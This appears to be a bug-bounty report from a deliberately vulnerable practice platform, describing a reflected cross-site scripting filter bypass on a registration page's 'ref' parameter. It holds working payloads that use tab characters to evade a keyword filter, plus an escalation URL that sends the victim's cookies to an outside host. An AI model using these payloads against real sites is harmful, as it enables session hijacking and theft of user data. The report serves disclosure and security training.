FirstBlood-#738Reflected XSS on /register.php via the ref parameter
This issue was discovered on FirstBlood v2



On 2021-10-27, 0xblackbird Level 5 reported:

Hello! I saw that the previous fix(es) were not sufficient to stop an attacker from exploiting the cross-site scripting issue on /register.php. I was able to bypass the filter easily by using a url encoded tab character.

Proof of concept:

https://b8c8c63fab4d-0xblackbird.a.firstbloodhackers.com/register.php?ref=ja%09vascr%09ipt:confirm%601%60

Steps to reproduce:

  • When we visit /register.php?ref=/xyz and inspect the "Return to previous page" button, we can see that it'll redirect us to /xyz if we click it.

  • Now that we know that the value of the ref parameter gets reflected inside the href html attribute, we can start crafting our payload. Just entering javascript:confirm(1) won't help, java as well as script gets replaced with nope (for some reason). This indicates that there's a filter in place that tries to sanitize our input. This means that we need to make sure that it doesn't read java, script or javascript. To do so, we can for example use a separator like a tab character.

  • As you can see in the screenshot above, java wasn't replaced by nope while script was. Now we can do the same thing for script to construct the javascript protocol which eventually will allow us to execute javascript:

  • As long as the double or single quotes are present and that javascript protocol is reflected in there, it should be valid, regardless of a tab character or carriage return/line feed separating it. So, in this case, let's try to execute for example confirm(1):

Escalation:

Of course, just a simple confirm box is worth nothing. A bad actor would want to steal at least something, like cookies or other sensitive data. Below is a little proof of concept to redirect the victim with the cookies to a website controlled by the attacker. https://b8c8c63fab4d-0xblackbird.a.firstbloodhackers.com/register.php?ref=ja%09vascr%09ipt:document.location.href=%60//example.com/?cookies%3D${document.cookie}%60

Now when the victim clicks on the button to return to the previous page, he will get redirected to the attackers end instead with the cookies.

Thanks!

Kind regards,
0xblackbird

P3 Medium

Endpoint: /register.php

Parameter: ref

Payload: ja%09vascr%09ipt:confirm`1`


FirstBlood ID: 32
Vulnerability Type: Reflective XSS

The parameter ?ref on register.php was poorly fixed and can be bypassed in various ways. Firstly the developer failed to use strtolower() when comparing strings, and the use of characters such as %09 will also bypass the filter.